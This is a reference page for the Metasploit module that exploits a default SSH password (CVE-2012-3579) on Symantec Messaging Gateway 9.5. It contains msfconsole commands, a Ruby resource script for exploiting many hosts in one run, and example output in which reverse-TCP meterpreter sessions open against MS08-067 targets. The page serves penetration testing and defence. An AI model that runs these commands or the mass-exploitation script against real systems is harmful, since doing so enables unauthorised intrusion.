Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability - Metasploit


This page contains detailed information about how to use the exploit/linux/ssh/symantec_smg_ssh metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
Module: exploit/linux/ssh/symantec_smg_ssh
Source code: modules/exploits/linux/ssh/symantec_smg_ssh.rb
Disclosure date: 2012-08-27
Last modification time: 2022-04-18 09:36:52 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2012-3579

This module exploits a default misconfiguration flaw on Symantec Messaging Gateway. The 'support' user has a known default password, which can be used to login to the SSH service, and gain privileged access from remote.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using symantec_smg_ssh against a single host

Normally, you can use exploit/linux/ssh/symantec_smg_ssh this way:

msf > use exploit/linux/ssh/symantec_smg_ssh
msf exploit(symantec_smg_ssh) > show targets
    ... a list of targets ...
msf exploit(symantec_smg_ssh) > set TARGET target-id
msf exploit(symantec_smg_ssh) > show options
    ... show and set options ...
msf exploit(symantec_smg_ssh) > exploit

Using symantec_smg_ssh against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your symantec_smg_ssh will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/ssh/symantec_smg_ssh")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the linux/ssh/symantec_smg_ssh exploit module looks in the msfconsole:

msf6 > use exploit/linux/ssh/symantec_smg_ssh

[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/ssh/symantec_smg_ssh) > show info

       Name: Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
     Module: exploit/linux/ssh/symantec_smg_ssh
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-27

Provided by:
  Stefan Viehbock
  Ben Williams
  sinn3r <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Symantec Messaging Gateway 9.5

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   22               yes       The target port

Payload information:

Description:
  This module exploits a default misconfiguration flaw on Symantec 
  Messaging Gateway. The 'support' user has a known default password, 
  which can be used to login to the SSH service, and gain privileged 
  access from remote.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-3579
  OSVDB (85028)
  http://www.securityfocus.com/bid/55143
  http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00

Module Options

This is a complete list of options available in the linux/ssh/symantec_smg_ssh exploit:

msf6 exploit(linux/ssh/symantec_smg_ssh) > show options

Module options (exploit/linux/ssh/symantec_smg_ssh):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   22               yes       The target port

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Symantec Messaging Gateway 9.5

Advanced Options

Here is a complete list of advanced options supported by the linux/ssh/symantec_smg_ssh exploit:

msf6 exploit(linux/ssh/symantec_smg_ssh) > show advanced

Module advanced options (exploit/linux/ssh/symantec_smg_ssh):

   Name                    Current Setting                          Required  Description
   ----                    ---------------                          --------  -----------
   ContextInformationFile                                           no        The information file that contains context information
   DisablePayloadHandler   false                                    no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                    no        Use transient context when encoding payloads
   SSH_DEBUG               false                                    no        Enable SSH debugging output (Extreme verbosity!)
   SSH_IDENT               SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3  yes       SSH client identification string
   SSH_TIMEOUT             30                                       no        Specify the maximum time to negotiate a SSH session
   VERBOSE                 false                                    no        Enable detailed status messages
   WORKSPACE                                                        no        Specify the workspace for this module
   WfsDelay                2                                        no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/interact):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/ssh/symantec_smg_ssh module can exploit:

msf6 exploit(linux/ssh/symantec_smg_ssh) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Symantec Messaging Gateway 9.5

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/symantec_smg_ssh exploit:

msf6 exploit(linux/ssh/symantec_smg_ssh) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Evasion Options

Here is the full list of possible evasion options supported by the linux/ssh/symantec_smg_ssh exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/ssh/symantec_smg_ssh) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> SSH - Disconnected during negotiation

Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Disconnected during negotiation" error message:

103:	        ssh = Net::SSH.start(rhost, user, opts)
104:	      end
105:	    rescue Rex::ConnectionError
106:	      return
107:	    rescue Net::SSH::Disconnect, ::EOFError
108:	      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
109:	      return
110:	    rescue ::Timeout::Error
111:	      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
112:	      return
113:	    rescue Net::SSH::AuthenticationFailed

<RHOST>:<RPORT> SSH - Timed out during negotiation

Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Timed out during negotiation" error message:

106:	      return
107:	    rescue Net::SSH::Disconnect, ::EOFError
108:	      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
109:	      return
110:	    rescue ::Timeout::Error
111:	      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
112:	      return
113:	    rescue Net::SSH::AuthenticationFailed
114:	      print_error "#{rhost}:#{rport} SSH - Failed authentication"
115:	    rescue Net::SSH::Exception => e
116:	      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"

<RHOST>:<RPORT> SSH - Failed authentication

Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH - Failed authentication" error message:

109:	      return
110:	    rescue ::Timeout::Error
111:	      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
112:	      return
113:	    rescue Net::SSH::AuthenticationFailed
114:	      print_error "#{rhost}:#{rport} SSH - Failed authentication"
115:	    rescue Net::SSH::Exception => e
116:	      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
117:	      return
118:	    end
119:

<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>

Here is a relevant code snippet related to the "<RHOST>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:

111:	      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
112:	      return
113:	    rescue Net::SSH::AuthenticationFailed
114:	      print_error "#{rhost}:#{rport} SSH - Failed authentication"
115:	    rescue Net::SSH::Exception => e
116:	      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
117:	      return
118:	    end
119:	
120:	    if ssh
121:	      conn = Net::SSH::CommandStream.new(ssh)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Stefan Viehbock
  • Ben Williams
  • sinn3r

Version

This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.

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